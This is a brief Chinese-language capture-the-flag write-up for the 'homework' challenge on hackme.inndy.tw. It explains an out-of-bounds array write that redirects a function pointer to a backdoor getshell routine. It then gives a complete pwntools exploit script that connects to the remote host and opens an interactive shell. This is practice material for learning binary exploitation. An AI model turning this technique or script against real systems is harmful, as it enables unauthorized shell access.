homework

数组越界，可以通过编辑功能修改say_goodbye函数的地址为后门函数getshell

exp：

from pwn import *

#p = process('./homework')
p = remote('hackme.inndy.tw',7701)

p.recvuntil('name? ')
p.sendline('aaaa')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('edit: ')
p.sendline('14')
p.recvuntil('many? ')
p.sendline(str(0x080485FB))

p.recvuntil('> ')
p.sendline('0')

p.interactive()